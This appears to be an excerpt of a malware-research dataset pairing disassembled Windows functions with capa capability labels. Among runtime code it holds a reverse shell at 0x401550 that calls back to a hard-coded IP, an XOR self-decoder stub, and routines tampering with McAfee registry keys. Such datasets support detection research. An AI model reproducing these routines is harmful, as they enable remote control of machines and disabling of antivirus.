joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00404480]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x00404490]
mov dword [rax], 1
mov rax, qword [0x004044a0]
mov dword [rax], 1
mov rax, qword [0x00404470]
mov dword [rax], 1
mov rax, qword [0x00404360]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x00404460]
mov dword [0x00407008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00404420]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00404310]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401550
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x2a0
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp + 0x70]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x40159f
mov r8d, 0x1b
lea rdx, str._ERROR__WSASturtup_failed._n
mov ecx, 2
call sym.write
mov eax, 1
jmp 0x4016e1
mov dword [rbp + 0x21c], 0x2cd0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp + 0x210], rax
mov word [rbp + 0x60], 2
mov eax, dword [rbp + 0x21c]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x62], ax
lea rcx, str.52.220.121.212
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x64], eax
jmp 0x401620
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [rbp + 0x60]
mov rcx, qword [rbp + 0x210]
mov r8d, 0x10
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
jne 0x401612
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x10], 0x68
mov dword [rbp + 0x2c], 0x100
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x50], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rdx, [0x0040402b]
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov eax, 0
add rsp, 0x2a0
pop rbp
ret
Function at 0x401c40
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00407624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x401dc8
mov rax, qword [0x00407628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x401c8c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x401d15
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x401c70
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x401dfd
mov rax, qword [0x00407628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00407628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401de0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401d0e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x401d70
add dword [0x00407624], 1
cmp edi, 8
jae 0x401d43
test dil, 4
jne 0x401db4
test edi, edi
je 0x401d38
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x401dcf
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x401d38
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x401d5c
jmp 0x401d38
add rsi, qword [0x00407628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401d0e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x401d38
xor esi, esi
jmp 0x401c97
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x401d38
mov rax, qword [0x00407628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x402550
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00407900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004078e0]
test rbx, rbx
je 0x4025a4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40259b
test rsi, rsi
je 0x40259b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402580
lea rcx, [0x00407900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x4027e0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x4027f0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x402800
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402841
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402838
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402843
add rax, 0x28
cmp rax, r9
jne 0x402824
xor eax, eax
ret

Function at 0x4028e0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00404360]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x40294d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40294d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40294d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402944
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40294f
add rax, 0x28
cmp rax, r9
jne 0x402930
xor eax, eax
add rsp, 0x28
ret

Function at 0x402a50
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00404360]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x402a70
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402a68
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402acd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402ac4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402ad4
add rax, 0x28
cmp rax, r9
jne 0x402ab0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x402af0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00404360]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x402b5e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402b5e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x402b5e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402b5e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x402b55
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x402b65
add rcx, 0x28
cmp rcx, rax
jne 0x402b40
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x402b78
jmp 0x402b5e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x402b86
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x402b5e
test r9d, r9d
jg 0x402b70
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x402dd0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x180002d60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x68
mov eax, dword [rsp + 0x90]
sub eax, 0x19a5
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x80]
add eax, 0x37c
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x80]
xor eax, 0x15b2
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x98]
sub eax, 0xbe8
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x98]
sub eax, 0xc9
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x70]
xor eax, 0x1c5f
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x90]
add eax, 0x1436
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x88]
sub eax, 0x297d
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x88]
xor eax, 0x8af
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x80]
add eax, 0xce9
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x2c]
xor eax, 0x28d2
cmp dword [rsp + 0x28], eax
je 0x180002e59
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x9c]
sub eax, 0x962ff
mov rcx, qword [rsp + 0x78]
mov ecx, dword [rcx + 0x28]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x78]
mov dword [rcx + 0x28], eax
mov eax, dword [rsp + 0x24]
add eax, 0x2d13
mov dword [rsp + 0x24], eax
jmp 0x180002ef7
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x90]
mov dword [rsp + 0x20], eax
jmp 0x180002e74
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov eax, ecx
cmp dword [rsp + 0x20], eax
jge 0x180002ef7
mov eax, dword [rsp + 0x38]
sub eax, 0x159e
sub eax, dword [rsp + 0x28]
mov dword [rsp + 0x44], eax
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x78]
mov eax, dword [rdx + rax + 0x3c]
mov ecx, dword [rcx + 0x38]
sub ecx, eax
mov eax, ecx
mov ecx, 4
imul rcx, rcx, 3
mov rdx, qword [rsp + 0x78]
and eax, dword [rdx + rcx + 0xa4]
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x48]
sub eax, 0x2ddb
mov dword [rsp + 0x3c], eax
mov r8d, dword [rsp + 0x3c]
mov edx, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x44]
call qword [sym.imp.KERNEL32.dll_OpenThread]
jmp 0x180002e6a
mov eax, dword [rsp + 0x2c]
add eax, 0x21d2
add rsp, 0x68
ret
Function at 0x180004670
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x68
mov eax, dword [rsp + 0x98]
sub eax, 0x2d13
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0xa0]
sub eax, 0x1320
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x70]
sub eax, 0x1f55
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x70]
sub eax, 0x9b7
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x80]
xor eax, 0x3522
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0xa0]
xor eax, 0x33a4
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x98]
sub eax, 0x13e5
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x88]
sub eax, 0xb55
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x98]
xor eax, 0x314c
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x24]
sub eax, 0x331
cmp dword [rsp + 0x2c], eax
je 0x180004807
mov eax, dword [rsp + 0x24]
add eax, 0xb55
cmp dword [rsp + 0x2c], eax
jge 0x180004755
mov rax, qword [rsp + 0x78]
lea rcx, [0x1800b0020]
mov qword [rax + 0x70], rcx
mov eax, dword [rsp + 0x20]
add eax, 0x26d3
mov dword [rsp + 0x20], eax
jmp 0x180004807
mov eax, dword [rsp + 0x30]
or eax, 0x19a5
mov rcx, qword [rsp + 0x78]
sub eax, dword [rcx + 0x2c]
cmp dword [rsp + 0x20], eax
jb 0x180004807
mov eax, dword [rsp + 0x20]
mov dword [rsp + 0x28], eax
jmp 0x180004785
mov eax, dword [rsp + 0x28]
add eax, 2
mov dword [rsp + 0x28], eax
mov eax, 4
imul rax, rax, 2
mov rcx, qword [rsp + 0x78]
mov eax, dword [rcx + rax + 0xa4]
add eax, dword [rsp + 0x34]
and eax, dword [rsp + 0x24]
cmp dword [rsp + 0x28], eax
jbe 0x180004807
mov eax, 4
imul rax, rax, 3
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x78]
mov eax, dword [rdx + rax + 0xa4]
mov ecx, dword [rcx + 0x98]
xor ecx, eax
mov eax, ecx
mov eax, eax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x98]
mov ecx, dword [rsp + 0x38]
or ecx, eax
mov eax, ecx
sub eax, 0x1b16
mov eax, eax
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
jmp 0x18000477a
mov eax, dword [rsp + 0x3c]
add eax, 0x6ad
add rsp, 0x68
ret
Function at 0x180008250
Capabilities:
Get file attributes
Resolve function by parsing pe exports

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
sub rsp, 0x58
mov eax, dword [rsp + 0x68]
sub eax, 0x1b16
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x78]
xor eax, 0x31fc
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x80]
add eax, 0x248
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x88]
sub eax, 0x1135
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x68]
add eax, 0xe67
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x68]
sub eax, 0x463
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x78]
sub eax, 0xfa4
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x68]
add eax, 0xe67
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x2c]
xor eax, 0xf9d
cmp dword [rsp + 0x20], eax
jg 0x1800082f2
mov eax, dword [rsp + 0x20]
xor eax, 0x67b
mov dword [rsp + 0x20], eax
jmp 0x180008344
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x24], eax
jmp 0x180008306
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x34]
and eax, 0x26d3
mov rcx, qword [rsp + 0x70]
or eax, dword [rcx + 0x90]
cmp dword [rsp + 0x24], eax
jb 0x180008344
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x2c]
mov ecx, dword [rsp + 0x28]
sub ecx, eax
mov eax, ecx
mov eax, eax
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
jmp 0x1800082fc
mov eax, dword [rsp + 0x28]
sub eax, 0xfd8
add rsp, 0x58
ret
Function at 0x1800215e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
sub rsp, 0x68
mov eax, dword [rsp + 0xa8]
sub eax, 0x2540
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0xb0]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0xa8]
xor eax, 0x7c6
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x90]
sub eax, 0xce9
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x98]
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x98]
sub eax, 0x2ddb
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x80]
xor eax, 0x16b3
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x90]
sub eax, 0xc9
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x34]
xor eax, 0x2286
cmp dword [rsp + 0x2c], eax
jg 0x180021828
mov eax, dword [rsp + 0x20]
xor eax, 0x19b1
cmp dword [rsp + 0x34], eax
jg 0x1800216f7
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rsp + 0x88]
mov eax, dword [rcx + rax + 0x88]
xor eax, 0x1663b7
mov rcx, qword [rsp + 0x88]
mov ecx, dword [rcx + 0xa0]
imul ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x88]
mov dword [rcx + 0xa0], eax
mov eax, dword [rsp + 0x20]
add eax, 0x1f55
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x88]
mov ecx, dword [rcx + 0xa0]
mov dword [rax + 0x64], ecx
jmp 0x180021828
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x88]
mov eax, dword [rax + 0x44]
imul eax, dword [rcx + 0x48]
add eax, dword [rsp + 0x20]
cmp dword [rsp + 0x30], eax
jb 0x180021828
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x24], eax
jmp 0x180021731
mov eax, dword [rsp + 0x24]
add eax, 3
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x88]
mov eax, dword [rax + 0x2c]
add eax, 0x3356
cmp dword [rsp + 0x24], eax
jae 0x180021828
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x88]
mov eax, dword [rcx + rax + 0xb8]
mov dword [rsp + 0x28], eax
jmp 0x180021774
mov eax, dword [rsp + 0x28]
add eax, 4
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x88]
mov eax, dword [rax + 0x90]
sub eax, 0x1f55
cmp dword [rsp + 0x28], eax
jae 0x180021823
mov eax, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x2c]
or ecx, eax
mov eax, ecx
cdqe
mov qword [rsp + 0x50], rax
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x88]
mov edx, dword [rdx + 0x18]
mov eax, dword [rcx + rax + 0xb8]
xor eax, edx
mov eax, eax
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov eax, dword [rsp + 0x2c]
xor eax, 0x21d2
mov ecx, 4
imul rcx, rcx, 3
mov rdx, qword [rsp + 0x88]
add eax, dword [rdx + rcx + 8]
mov rcx, qword [rsp + 0x88]
mov ecx, dword [rcx + 0xb4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x88]
mov dword [rcx + 0xb4], eax
jmp 0x180021769
jmp 0x180021726
mov eax, dword [rsp + 0x30]
add eax, 0x192e
add rsp, 0x68
ret
Function at 0x140004000
Capabilities:
Encode data using xor

Disassembly:
xor rcx, rcx
sub rcx, 0xffffffffffffffda
lea rax, [entry0]
movabs rbx, 0xb8bf93cf80505a34
xor qword [rax + 0x27], rbx
sub rax, 0xfffffffffffffff8
loop 0x14000401b
enter 0xffffffffffffd312, 0x64
invalid
Function at 0x1400272e0
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x480
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov rax, qword [0x1403ddfb8]
xor rax, rsp
mov qword [rsp + 0x470], rax
xor eax, eax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x48]
call fcn.1400f27d0
nop
xor esi, esi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x2001f
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea rbx, str.SoftwareWow6432NodeMcAfee
mov r8, rbx
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x48]
call fcn.1400f2950
nop
lea rcx, [rsp + 0x48]
test eax, eax
je 0x140027374
call fcn.1400f2870
jmp 0x140027456
call fcn.1400f2870
xor r8d, r8d
lea rcx, str.SoftwareMcAfee
call fcn.1400275d0
mov rdi, rax
test rax, rax
je 0x140027456
xor edx, edx
mov r8d, 0x408
lea rcx, [rsp + 0x60]
call fcn.14028e7e0
lea rdx, str.RegistryMACHINE_
mov rcx, qword [rsp + 0x460]
cmp rcx, 0x200
jae 0x1400273e5
movzx eax, word [rdx]
mov word [rsp + rcx*2 + 0x60], ax
mov rcx, qword [rsp + 0x460]
inc rcx
mov qword [rsp + 0x460], rcx
add rdx, 2
cmp word [rdx], 0
jne 0x1400273b5
jmp 0x1400273f0
cmp word [rdx], 0
jne 0x140027456
nop dword [rax + rax]
cmp rcx, 0x200
jae 0x140027420
movzx eax, word [rbx]
mov word [rsp + rcx*2 + 0x60], ax
mov rcx, qword [rsp + 0x460]
inc rcx
mov qword [rsp + 0x460], rcx
add rbx, 2
cmp word [rbx], 0
jne 0x1400273f0
jmp 0x140027426
cmp word [rbx], 0
jne 0x140027456
add ecx, ecx
mov dword [rsp + 0x28], ecx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 6
xor r8d, r8d
lea rdx, str.SymbolicLinkValue
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
sete al
jmp 0x140027458
xor al, al
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.14026d870
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x1400275d0
Capabilities:
Delete registry key
Set registry value

Disassembly:
mov r11, rsp
push rbp
push rsi
push rdi
sub rsp, 0x90
mov qword [r11 - 0x48], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov rax, qword [0x1403ddfb8]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov esi, r8d
mov rdi, rcx
xor eax, eax
cmp r8d, 5
ja 0x1400277d9
mov qword [r11 - 0x38], rax
mov qword [r11 - 0x30], rax
mov qword [r11 - 0x28], rax
lea rcx, [r11 - 0x38]
call fcn.1400f27d0
nop
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8, rdi
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x70]
call fcn.1400f2950
test eax, eax
jne 0x1400276a6
lea rcx, [rsp + 0x70]
call fcn.1400f28e0
mov dword [rsp + 0x28], 2
lea rcx, [0x140327fbc]
mov qword [rsp + 0x20], rcx
lea r9d, [rbx + 6]
xor r8d, r8d
lea rdx, str.SymbolicLinkValue
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1400277cc
lea rcx, [rsp + 0x70]
call fcn.1400f2980
jmp 0x1400277c9
cmp eax, 0xb7
jne 0x1400277cc
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 8
xor r9d, r9d
mov r8, rdi
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x70]
call fcn.1400f2950
test eax, eax
jne 0x1400277cc
mov dword [rsp + 0x68], ebx
mov dword [rsp + 0x6c], ebx
lea rcx, [rsp + 0x70]
call fcn.1400f28e0
mov rcx, rax
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
lea rax, [rsp + 0x6c]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x1400277cc
cmp dword [rsp + 0x68], ebx
ja 0x140027793
cmp dword [rsp + 0x6c], 1
ja 0x140027793
lea rcx, [rsp + 0x70]
call fcn.1400f28e0
mov rbp, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400277cc
lea rdx, str.NtDeleteKey
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400277cc
mov rcx, rbp
call rax
test eax, eax
je 0x1400277b1
jmp 0x1400277cc
lea rcx, [rsp + 0x70]
call fcn.1400f28e0
mov rcx, rax
lea rdx, [0x140328340]
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
test eax, eax
jne 0x1400277cc
lea rcx, [rsp + 0x70]
call fcn.1400f2940
